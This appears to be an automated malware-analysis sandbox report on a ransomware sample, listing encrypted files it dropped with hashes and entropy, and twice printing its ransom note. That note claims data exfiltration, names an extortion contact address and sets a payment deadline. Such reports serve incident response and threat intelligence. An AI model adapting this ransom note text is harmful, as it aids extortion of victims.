SSDEEP:6291456:f8tD3MCBlfHSVSRJou3fOgZ6XLXQ0q8taUjosDaCrZ58ppW5Zjc6I9cY1G5:UaSRJ73wQ0q8XjosD1Z58pp4uoa8
MD5:17449E00A3586FAAC19EF2CE2FBC61AA
SHA1:D9807A1EAEC484B8C24EE8D8EC666A90BCCEE2C3
SHA-256:FB68F6889348183166C3EA52394E8322550E1BDC7AC9DC60AAABD30CE0EB75B6
SHA-512:7808D0A31F5D48AF0581562515DF6554BE42E56167F74E242C17347BA94839176509AB2747FC5B834D62D12F086871DA4F003CBF91FD5FC7899F7EEACC42DC55
Malicious:true
Reputation:low
Preview:J..R.......a.^....UEC..6...=~....V2..~v.+. .5?i3`K.#..."....NF.....J..j=...~vy...T.%hV[.5..ZiK.[.'.,..(...../..bAw..9...h......qN....R.*... x3...z..:.I.o7ux.Y...@.D....."]....7.4DP?&......P../.......V..I....mP..4Z....F..z94....1..&..U7Z[.V.V......+....|C..Cg:..x.sQ....~.......E.. .5\......B.SV..z.w*.X09..+#`...+9......L.bP_u.^..Jm..I....E..6T5.-..q.U#.L...J..L`Pg.....?.&._..-#..U.F.....`(..A.fA.]..6\%.3..)..+.8=.....W..........H..8D.]...0t./I(.DdXV.z~F.8..PS#kO...>.N..I..........b.brm......y*oiA.....>d....;..K01n...7Y....[..R....#..p..QuJW.mHY...)~.$.Q~.>...=..gwZ.,.xo...K.u.1h... .#..\_.^.q..c_.fpG}..m5|.kS.~]..fJXv.-...fe=....E..?X.M..!$.b.O...j.V'.....G...8q./... ;.U+. .f...?.D~......r.z5Ej.p..c.m]..q.m.T..U.S..k..#"..w.&........<T_.4.$;.z.\..)...$S.B ......9M..Yr/....c...0............(r.G.........3.....o.....xH..>.zk,.3Dv...1.9b......,..,........{.......4J....b.:..C.....Ri.)c/....X...+..:.+Z.f..0....m.7.j.rM.pR...07.v/..C.N..'.

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):323579508
Entropy (8bit):7.999959516157797
Encrypted:true
SSDEEP:6291456:f8tD3MCBlfHSVSRJou3fOgZ6XLXQ0q8taUjosDaCrZ58ppW5Zjc6I9cY1G5:UaSRJ73wQ0q8XjosD1Z58pp4uoa8
MD5:17449E00A3586FAAC19EF2CE2FBC61AA
SHA1:D9807A1EAEC484B8C24EE8D8EC666A90BCCEE2C3
SHA-256:FB68F6889348183166C3EA52394E8322550E1BDC7AC9DC60AAABD30CE0EB75B6
SHA-512:7808D0A31F5D48AF0581562515DF6554BE42E56167F74E242C17347BA94839176509AB2747FC5B834D62D12F086871DA4F003CBF91FD5FC7899F7EEACC42DC55
Malicious:true
Reputation:low
Preview:J..R.......a.^....UEC..6...=~....V2..~v.+. .5?i3`K.#..."....NF.....J..j=...~vy...T.%hV[.5..ZiK.[.'.,..(...../..bAw..9...h......qN....R.*... x3...z..:.I.o7ux.Y...@.D....."]....7.4DP?&......P../.......V..I....mP..4Z....F..z94....1..&..U7Z[.V.V......+....|C..Cg:..x.sQ....~.......E.. .5\......B.SV..z.w*.X09..+#`...+9......L.bP_u.^..Jm..I....E..6T5.-..q.U#.L...J..L`Pg.....?.&._..-#..U.F.....`(..A.fA.]..6\%.3..)..+.8=.....W..........H..8D.]...0t./I(.DdXV.z~F.8..PS#kO...>.N..I..........b.brm......y*oiA.....>d....;..K01n...7Y....[..R....#..p..QuJW.mHY...)~.$.Q~.>...=..gwZ.,.xo...K.u.1h... .#..\_.^.q..c_.fpG}..m5|.kS.~]..fJXv.-...fe=....E..?X.M..!$.b.O...j.V'.....G...8q./... ;.U+. .f...?.D~......r.z5Ej.p..c.m]..q.m.T..U.S..k..#"..w.&........<T_.4.$;.z.\..)...$S.B ......9M..Yr/....c...0............(r.G.........3.....o.....xH..>.zk,.3Dv...1.9b......,..,........{.......4J....b.:..C.....Ri.)c/....X...+..:.+Z.f..0....m.7.j.rM.pR...07.v/..C.N..'.

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW2.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):249155805
Entropy (8bit):7.999975857406609
Encrypted:true
SSDEEP:
MD5:E8975E6C8DAB2972D16B27DEC404B53A
SHA1:BE2161524012BF7387771DA516F00B4778BBA768
SHA-256:D6ED36703FCFDBC4F99F9D58DB5DEF596E0E08C7F58D5D87BA36479843248EE2
SHA-512:E8487810101420265787A5D62800C063318998952C75F8CA46991FB4DAC983C68074A05CCA1EC389B6CB364625CAEA8D0C3B1E6173936AEBBD9CC0B43B8DBB7B
Malicious:true
Reputation:low
Preview:...y.<.7}....j.M.jd...4z.0.#.".m...O\....Im....D..L./h.E.v....h.9\.w.<....t.f%ffc....8...n.X..._...X.j.7...*Y.......E.w..OLk..A.......<./.fV...VV...^...Hbp6..@.;..l..0c..........@..>...K...w.C$M....Zs........N...._9j.VfAX...#dl...%Wq....V...}^...v..O.;@O.^..<..g.1e.A. N.m?.d.Gf..L.*/s..mEq....v....z.:j.f.N..XF..}.H...N..+.~+J6[0.........}...r...../t1Rkt...F..X..D..l.Pb...C..93kb.M.DU&.....HE[.....z5..+h<<...O.N....mAW.3A.o....so..I..Y.&..@...l.8@...b.r..-..;....B..).....g.(..<...{.D..E.-.r...g@.b.{...4..\.2..H0..8.TB..#.7.!....D..9....-u.....x..e)m...^2.......-O..=&m..U..."i.B.bn...V7Q+^2......GG...ynVd.............=,..{..n.E....>.........HwT...'e.....>6.&.....r..C.\.|frVq...i"...Q..r.&.......(.(._b.(.P+....N`W..|>k..[)y5.k...9..w.zj....Hj/..%.M_....2_...%.^...Q..I.E.....u.`.oX..qwQ@....4x..T...@....HV....@...yZ_.4..*.V.}.@Ss..h.?...V..5]...^..lk@P.......YVl...g,W`...a!..4a..yr..4...P.~]...t....x.....I~m...k.U}.rsw..`Q.....cs.x..P..+._..+...

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ProPsWW2.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):249155805
Entropy (8bit):7.999975857406609
Encrypted:true
SSDEEP:
MD5:E8975E6C8DAB2972D16B27DEC404B53A
SHA1:BE2161524012BF7387771DA516F00B4778BBA768
SHA-256:D6ED36703FCFDBC4F99F9D58DB5DEF596E0E08C7F58D5D87BA36479843248EE2
SHA-512:E8487810101420265787A5D62800C063318998952C75F8CA46991FB4DAC983C68074A05CCA1EC389B6CB364625CAEA8D0C3B1E6173936AEBBD9CC0B43B8DBB7B
Malicious:true
Reputation:low
Preview:...y.<.7}....j.M.jd...4z.0.#.".m...O\....Im....D..L./h.E.v....h.9\.w.<....t.f%ffc....8...n.X..._...X.j.7...*Y.......E.w..OLk..A.......<./.fV...VV...^...Hbp6..@.;..l..0c..........@..>...K...w.C$M....Zs........N...._9j.VfAX...#dl...%Wq....V...}^...v..O.;@O.^..<..g.1e.A. N.m?.d.Gf..L.*/s..mEq....v....z.:j.f.N..XF..}.H...N..+.~+J6[0.........}...r...../t1Rkt...F..X..D..l.Pb...C..93kb.M.DU&.....HE[.....z5..+h<<...O.N....mAW.3A.o....so..I..Y.&..@...l.8@...b.r..-..;....B..).....g.(..<...{.D..E.-.r...g@.b.{...4..\.2..H0..8.TB..#.7.!....D..9....-u.....x..e)m...^2.......-O..=&m..U..."i.B.bn...V7Q+^2......GG...ynVd.............=,..{..n.E....>.........HwT...'e.....>6.&.....r..C.\.|frVq...i"...Q..r.&.......(.(._b.(.P+....N`W..|>k..[)y5.k...9..w.zj....Hj/..%.M_....2_...%.^...Q..I.E.....u.`.oX..qwQ@....4x..T...@....HV....@...yZ_.4..*.V.}.@Ss..h.?...V..5]...^..lk@P.......YVl...g,W`...a!..4a..yr..4...P.~]...t....x.....I~m...k.U}.rsw..`Q.....cs.x..P..+._..+...

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Reputation:low
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28316
Entropy (8bit):7.994390327127431
Encrypted:true
SSDEEP:
MD5:36D6CEF7F7DC9FF081840E2DE5D534EF
SHA1:4BBDD33D1D36472D180F2F0516C4385F015194CC
SHA-256:69431E39EB386DC40BBB7B6A24F72DB2D7A7900AE1BE1293B1659F50925F0443
SHA-512:0F71BDE192C90797FBAA41E7487AC8C40AFDE21691B0527963B2CE930CD7EFF5DEC0967571F4A13FFB243FB2A8DCB5C44AFA774F1B4C898CD25371FAA5B3C916
Malicious:true
Reputation:low
Preview:D...{..C...(.s4....=..b..{Iw......F....Z...x...v~.3.W...C..}...%..h..vu.S\z>.$.p....(...........+..."O....F.Fc.Y.^..2..}.c....@c.$.L...q..s..265.^..r..:N.C.............o..)..P.+.t....h-.:......].5..N.^.y..w.]..ioJ...e.....a.CP-..Kv...x..T...X&.....wW..{..*....`W.....@.`..P...@...?\nV~...p.]'U4.a....X...s..;..3.b...p.w...........&..2w.3..........s".g-..|]..K.I.......V...[.$.YBp...F...h....un.p..0.P.}.a{B..%C.........6........$.Pz.!..(.&)..dd.k.s.."..t.5}#.J.j_.....r..j....P..k.%:.[...`+.....]i...1.B..".Y^.@..^U........qnJ....1..x.I..-_Z...@X...8...q..I...{.......!}...W.....Kw!.}T.l`...x.E....N..VV*...o.4_uTC.r../Ox...{.?e..+{..).hbv..'.n......R.a...D.{..D.]{.J#....x%.R...P{..Z!.3...Tz...5!m..A.....R...... ..._/..9.<..1AI|=.n...`w.l......:9fHjo.*C...h...R.4n\k~[......W.\ &.f..&: |.hY.+.4.....c<}.>....cI..0......?[.`.! n...k..J.tC..P|..,.r.c.....IAn..DR....H..y.....<K..$. .....$......t...J\R.NU....\.B....:..J...UI.x.VP.i.g..X.........

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):28316
Entropy (8bit):7.994390327127431
Encrypted:true
SSDEEP:
MD5:36D6CEF7F7DC9FF081840E2DE5D534EF
SHA1:4BBDD33D1D36472D180F2F0516C4385F015194CC
SHA-256:69431E39EB386DC40BBB7B6A24F72DB2D7A7900AE1BE1293B1659F50925F0443
SHA-512:0F71BDE192C90797FBAA41E7487AC8C40AFDE21691B0527963B2CE930CD7EFF5DEC0967571F4A13FFB243FB2A8DCB5C44AFA774F1B4C898CD25371FAA5B3C916
Malicious:true
Reputation:low
Preview:D...{..C...(.s4....=..b..{Iw......F....Z...x...v~.3.W...C..}...%..h..vu.S\z>.$.p....(...........+..."O....F.Fc.Y.^..2..}.c....@c.$.L...q..s..265.^..r..:N.C.............o..)..P.+.t....h-.:......].5..N.^.y..w.]..ioJ...e.....a.CP-..Kv...x..T...X&.....wW..{..*....`W.....@.`..P...@...?\nV~...p.]'U4.a....X...s..;..3.b...p.w...........&..2w.3..........s".g-..|]..K.I.......V...[.$.YBp...F...h....un.p..0.P.}.a{B..%C.........6........$.Pz.!..(.&)..dd.k.s.."..t.5}#.J.j_.....r..j....P..k.%:.[...`+.....]i...1.B..".Y^.@..^U........qnJ....1..x.I..-_Z...@X...8...q..I...{.......!}...W.....Kw!.}T.l`...x.E....N..VV*...o.4_uTC.r../Ox...{.?e..+{..).hbv..'.n......R.a...D.{..D.]{.J#....x%.R...P{..Z!.3...Tz...5!m..A.....R...... ..._/..9.<..1AI|=.n...`w.l......:9fHjo.*C...h...R.4n\k~[......W.\ &.f..&: |.hY.+.4.....c<}.>....cI..0......?[.`.! n...k..J.tC..P|..,.r.c.....IAn..DR....H..y.....<K..$. .....$......t...J\R.NU....\.B....:..J...UI.x.VP.i.g..X.........

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\pkeyconfig-office.xrm-ms

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):591057
Entropy (8bit):7.999728911043132
Encrypted:true
SSDEEP:
MD5:772F40525F5D8DCE24845850CA7D7307
SHA1:57DD5DA04E034BC5F72E50DF2B911FD49C514444
SHA-256:3BF3F16F9A6B4EB2CAB0603FD4ACD1E02B5F33854298156B77D0843B542AFCEB
SHA-512:9CB0CF995F2D9D5A2E6A51C1797ECBDEF6E9FB3C9C1D1427EF27F9813F2332ACB265D7692321F6D1CDF33FE39CE1D70636D4F0477C6C1BF683F7092B4DD1D9F7
Malicious:true
Reputation:low
Preview:}.......$.).<#.*b.\.[.a.I.X..O..N....Enxs.....Iq..~i.(h..".i[.b.W....F.....3.$:.s;u.Gd1?.@!.c.5v....Yv...D.=..z/._...r..2..xz..T....>U.(..1..9.P...I{n....y<3.y....!..u..d..zv..LWyr...^..~.1..Y.M.. .......1..L..>.+._...H/..T...........@.......].F."&..Z..m.Fz....x.....6......|.z.....0.t0..A..F.......^.....@x..t...j..._.=.@.!.Uu.i..\...j\Bv.A..^..E.....i-.._.s.9.D..].A.N...L......:.(h.o.K3.T...f..3s..'g'....&/>.~.I.%i1.9X.h.S_}.$.#."..{..w. ........l..._oP...........B+..P....?=..*4.z%f..".h......D4..'...".n..l6......dI.....Y.wC....Q....^..arR.Y...:..h..q.n.......B.'>_.Qd..$.......7._.X...k.,/G....v&]\..\...1....$..x.>F..1e....3%\{.......).V.K....~f.gc.\....6...QES......*.I...+.]....L.P.B....,.B....@.....l.{..CF`..@.E.d.+>.p..>.m..#.k.[\.d..m.Moc.v.v.E.?.Y..S.B...xr.m.X.q..-<..H...8.....}<.W...%%|w.'...^.g .T.?...@tUXd.Q.e.D..{...;....T.xN.q........?hu.?.........,m..fX~....S.......<W..o.H.. U]....%.Y....z-w.L.....V.l.l.J.}....a.SW.-.

C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\pkeyconfig-office.xrm-ms.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):591057
Entropy (8bit):7.999728911043132
Encrypted:true
SSDEEP:
MD5:772F40525F5D8DCE24845850CA7D7307
SHA1:57DD5DA04E034BC5F72E50DF2B911FD49C514444
SHA-256:3BF3F16F9A6B4EB2CAB0603FD4ACD1E02B5F33854298156B77D0843B542AFCEB
SHA-512:9CB0CF995F2D9D5A2E6A51C1797ECBDEF6E9FB3C9C1D1427EF27F9813F2332ACB265D7692321F6D1CDF33FE39CE1D70636D4F0477C6C1BF683F7092B4DD1D9F7
Malicious:true
Preview:}.......$.).<#.*b.\.[.a.I.X..O..N....Enxs.....Iq..~i.(h..".i[.b.W....F.....3.$:.s;u.Gd1?.@!.c.5v....Yv...D.=..z/._...r..2..xz..T....>U.(..1..9.P...I{n....y<3.y....!..u..d..zv..LWyr...^..~.1..Y.M.. .......1..L..>.+._...H/..T...........@.......].F."&..Z..m.Fz....x.....6......|.z.....0.t0..A..F.......^.....@x..t...j..._.=.@.!.Uu.i..\...j\Bv.A..^..E.....i-.._.s.9.D..].A.N...L......:.(h.o.K3.T...f..3s..'g'....&/>.~.I.%i1.9X.h.S_}.$.#."..{..w. ........l..._oP...........B+..P....?=..*4.z%f..".h......D4..'...".n..l6......dI.....Y.wC....Q....^..arR.Y...:..h..q.n.......B.'>_.Qd..$.......7._.X...k.,/G....v&]\..\...1....$..x.>F..1e....3%\{.......).V.K....~f.gc.\....6...QES......*.I...+.]....L.P.B....,.B....@.....l.{..CF`..@.E.d.+>.p..>.m..#.k.[\.d..m.Moc.v.v.E.?.Y..S.B...xr.m.X.q..-<..H...8.....}<.W...%%|w.'...^.g .T.?...@tUXd.Q.e.D..{...;....T.xN.q........?hu.?.........,m..fX~....S.......<W..o.H.. U]....%.Y....z-w.L.....V.l.l.J.}....a.SW.-.

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\ExcelLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5770100
Entropy (8bit):7.999780664070838
Encrypted:true
SSDEEP:
MD5:12CF959DDA15DE08F731FA3F2D63D5A6
SHA1:B9E680B7D4E33D53AB36D5693897BAE1FF3ADF43
SHA-256:43048971C91CDB9350B13030531C395B48BEB4FFE9D93F3E199B79D1410F42A3
SHA-512:912B1F352EAA888771FF7BB04BE80D1DD1CAAD7305D66D1E13CB8BDEEF71075656C1ED1A4217EB69FCB1E5B27E6809CC063470FC82DE4C0F833AEF8CEEBD9273
Malicious:true
Preview:....x..jh. )e..EQli..FX.e.CyJ.\..>.......$..x.b.L...._~........k ...R\E?...v..U5.<.K{.....2r..}.U...|..#......Ck9w..._..,.._./.Q....k.......8.....L..X^.K.Z.YR..G.-2..u./.I...U...o.}#....Tz....U..........yV..;....\....+_..V...0......8..$.......1[.....>....8.G&s....!.^ado5C7P..u.Y.........*-..Z....1.uU........a......h.sno.....-.c...,.......4....4.....x!.....'.Y.....`.c..~.6y...'W._..E.......r... .<1E.../.z.prD.=...O..U.~h.H....[.3...;.d@..&.i....>"..C'..4i.D...{.%;.n.n.q)A..e..:....t.t..$.....@m.P..T...q..m.u._..r...kJ.7..k..i....w<..9m)i.G.t...1./C.D.!.7VFo.........j..\d)>.<.....,qd..,...!..SRv..s.'.w..z..7...!...B.Q..[>8...-/..._|J.@O].C.....:....O...~w.@...b..D...d.......Y..,.(B^......8...........o.]..._L*.tJ.km..V~...{ .A(..J....[...v..wC.>..e.........1&(j.:P.c...A..~.C-.#..........E.Ig^..a...k.2...f[I8...ne.)o*...a./5....^>......S....lqJ..%.).$...l..Q$.S...^o...t..'5g.ud....O$..~I'.....8.l|q:@.......g&.2\U..rGWI1._.C/B....!.......e.6.y.T...

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\ExcelLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):5770100
Entropy (8bit):7.999780664070838
Encrypted:true
SSDEEP:
MD5:12CF959DDA15DE08F731FA3F2D63D5A6
SHA1:B9E680B7D4E33D53AB36D5693897BAE1FF3ADF43
SHA-256:43048971C91CDB9350B13030531C395B48BEB4FFE9D93F3E199B79D1410F42A3
SHA-512:912B1F352EAA888771FF7BB04BE80D1DD1CAAD7305D66D1E13CB8BDEEF71075656C1ED1A4217EB69FCB1E5B27E6809CC063470FC82DE4C0F833AEF8CEEBD9273
Malicious:true
Preview:....x..jh. )e..EQli..FX.e.CyJ.\..>.......$..x.b.L...._~........k ...R\E?...v..U5.<.K{.....2r..}.U...|..#......Ck9w..._..,.._./.Q....k.......8.....L..X^.K.Z.YR..G.-2..u./.I...U...o.}#....Tz....U..........yV..;....\....+_..V...0......8..$.......1[.....>....8.G&s....!.^ado5C7P..u.Y.........*-..Z....1.uU........a......h.sno.....-.c...,.......4....4.....x!.....'.Y.....`.c..~.6y...'W._..E.......r... .<1E.../.z.prD.=...O..U.~h.H....[.3...;.d@..&.i....>"..C'..4i.D...{.%;.n.n.q)A..e..:....t.t..$.....@m.P..T...q..m.u._..r...kJ.7..k..i....w<..9m)i.G.t...1./C.D.!.7VFo.........j..\d)>.<.....,qd..,...!..SRv..s.'.w..z..7...!...B.Q..[>8...-/..._|J.@O].C.....:....O...~w.@...b..D...d.......Y..,.(B^......8...........o.]..._L*.tJ.km..V~...{ .A(..J....[...v..wC.>..e.........1&(j.:P.c...A..~.C-.#..........E.Ig^..a...k.2...f[I8...ne.)o*...a./5....^>......S....lqJ..%.).$...l..Q$.S...^o...t..'5g.ud....O$..~I'.....8.l|q:@.......g&.2\U..rGWI1._.C/B....!.......e.6.y.T...

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\ExcelMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2314
Entropy (8bit):7.912806350278128
Encrypted:false
SSDEEP:
MD5:AF617EDE8AC85FF8E132F93807D9E143
SHA1:3D9B495A42103E7236A9A27A0407A37E36B046AE
SHA-256:AF236A62B8CA499C2E841C93D4BDF87BE6F6B63EB13C6C5D915BA3C45B0B073B
SHA-512:57707010BC3A0D2A1EF7500E0E4C287C1BF7BF52EA770DFBE4F8F381D185CA1C20FF15E4F5A44DC5A3FE77F23B1CECD87F386316092A6E035213B7D2AFEBDEAE
Malicious:false
Preview:9..I..W.8.!N..h..m9L2.^.\....`..D.`.4R1.PwJ.n.9...?.F{.c...y2....kF..[.2.2.i......].tu.6....W..Z.|...`...u....`...&.w........X.y._.*.t.?...kA1;G...#t...v.....l...H..;C.$..W...t..[Y.T..z..P.3?..>PV...7..m........{..}.j!...Hw.P.h.Y....B.n....O=7...!w.\..g....~.e.`.K...\H..u.D.<F.H....q).........%..>.@?.I..WN.$N.u,....'.A.".......C.d.....h..|i.............U....^..y.z...zZ..4..q...ya...a.h.6X.9u..r.5.?.]..2XA.G..1................Qh.z>.5..+.L..<.k...kl.I..=_. ....P...Vj....O ..dek.v$.LE.....fXK.."/t'~1b..,V.?>!..{.M.%..m.7_.......d..K.H.d.........7....m.+0`z9.k.3........4_Rd...%J.!".fp.....I.c..tC...[..u.;R..N.j....o...r|.x,O.JI.i.E7....J.g.h....L..u/..q.F0(8.R.. ...S...............w......m......*7E..j(m.&.}.WE... =.j...ST.p+....C..@D".K..g _2..;..kz...!.kMQ.^..K..*..B..[.".......W.O....E.....MBCd.J.{.3y..|.#S.[..T.........p@.!....`......H..mF.......Y..q.....1.....w.....p...$...D.........@...yi...f.....0.....q.[..m..K....<.6.*..y....c...!.(#.[..

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\ExcelMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2314
Entropy (8bit):7.912806350278128
Encrypted:false
SSDEEP:
MD5:AF617EDE8AC85FF8E132F93807D9E143
SHA1:3D9B495A42103E7236A9A27A0407A37E36B046AE
SHA-256:AF236A62B8CA499C2E841C93D4BDF87BE6F6B63EB13C6C5D915BA3C45B0B073B
SHA-512:57707010BC3A0D2A1EF7500E0E4C287C1BF7BF52EA770DFBE4F8F381D185CA1C20FF15E4F5A44DC5A3FE77F23B1CECD87F386316092A6E035213B7D2AFEBDEAE
Malicious:false
Preview:9..I..W.8.!N..h..m9L2.^.\....`..D.`.4R1.PwJ.n.9...?.F{.c...y2....kF..[.2.2.i......].tu.6....W..Z.|...`...u....`...&.w........X.y._.*.t.?...kA1;G...#t...v.....l...H..;C.$..W...t..[Y.T..z..P.3?..>PV...7..m........{..}.j!...Hw.P.h.Y....B.n....O=7...!w.\..g....~.e.`.K...\H..u.D.<F.H....q).........%..>.@?.I..WN.$N.u,....'.A.".......C.d.....h..|i.............U....^..y.z...zZ..4..q...ya...a.h.6X.9u..r.5.?.]..2XA.G..1................Qh.z>.5..+.L..<.k...kl.I..=_. ....P...Vj....O ..dek.v$.LE.....fXK.."/t'~1b..,V.?>!..{.M.%..m.7_.......d..K.H.d.........7....m.+0`z9.k.3........4_Rd...%J.!".fp.....I.c..tC...[..u.;R..N.j....o...r|.x,O.JI.i.E7....J.g.h....L..u/..q.F0(8.R.. ...S...............w......m......*7E..j(m.&.}.WE... =.j...ST.p+....C..@D".K..g _2..;..kz...!.kMQ.^..K..*..B..[.".......W.O....E.....MBCd.J.{.3y..|.#S.[..T.........p@.!....`......H..mF.......Y..q.....1.....w.....p...$...D.........@...yi...f.....0.....q.[..m..K....<.6.*..y....c...!.(#.[..

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3016
Entropy (8bit):7.928172453033418
Encrypted:false
SSDEEP:
MD5:0C8B9D07909BAE3D77E9D12BFFFF98EF
SHA1:203DBD7D6100018A598A5A05FE60F978E8D41917
SHA-256:36FACAF9577D14697A24BDE6E939241AB9B9CB9666CAEA826C5A757829EBF82A
SHA-512:28C0B4F373F51E4CEEF16CC34B110012A8062D68AEB91C8EBE8C061E86DC000BFBC3FFBD94E9FEE5BDE1E8BC251BC8E26DA2D47D712C7FD467782C9CB9AE20F7
Malicious:false
Preview:.0..">..?..[.=.P..<{..a ......6g.h......,./'3,.c.;O....SM4R.q..J.s..`..-.\A..jU;.} T...#.....!"t.._F..{~O.Q..C...s...V.U.U<m*..@..KF...9B Y,.8.G...D_.._L.hU3.....X8 ..K..? ......m......|......9v2...Z....f....Mb'...7.d...NW...8.M.5.~.X..1-.......&.V.u.]j!L.W.H_......4.K%..,;...},Qz.x...[.e...P.w.......k.v..$..z^.. i.ce.=..v..l..A.&.d...x....g3.....P....&+v.7.............KrL.Y..."..q..}..23%...."_.v.&..*9?..a.U..&.|1%.zu.G.......E..k...j.I.}.J....W....l.].}A.Fg.RT.".7.T.:.u.0....+.6._..s..w....?....F.s..WrB.#W..M9..k.y. ..2..F[c..tm.[.eO.....TK...K.@cD.j.VQ.C#..}..N....%.!.4:.YP(...{.RR:..F...;-...-..7C. ..M...aql4E.O8v...Mq.+@.[. ......^,......n...W;...BM..(qt...p3.w.qT!.X3z.p.s>k.^.L....... X.|J9.Z...."6.T9..._.c.Z.a.P.Bf..e..*X.W%+d...../......9.q..P.C.]....g.lpO.Y.0..%.VE[...Y..Z.....r.d^.t.BSu..Xo..%.....cq...o...3(.`{.!R.y+#..&........8...E.a.M.k..........e-.Pp...o..H..q....G.....~|..,...{y.......k....#.mQo%..L.A.......U]`...A...q!.;t.k...

C:\MSOCache\All Users\{90160000-0016-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3016
Entropy (8bit):7.928172453033418
Encrypted:false
SSDEEP:
MD5:0C8B9D07909BAE3D77E9D12BFFFF98EF
SHA1:203DBD7D6100018A598A5A05FE60F978E8D41917
SHA-256:36FACAF9577D14697A24BDE6E939241AB9B9CB9666CAEA826C5A757829EBF82A
SHA-512:28C0B4F373F51E4CEEF16CC34B110012A8062D68AEB91C8EBE8C061E86DC000BFBC3FFBD94E9FEE5BDE1E8BC251BC8E26DA2D47D712C7FD467782C9CB9AE20F7
Malicious:false
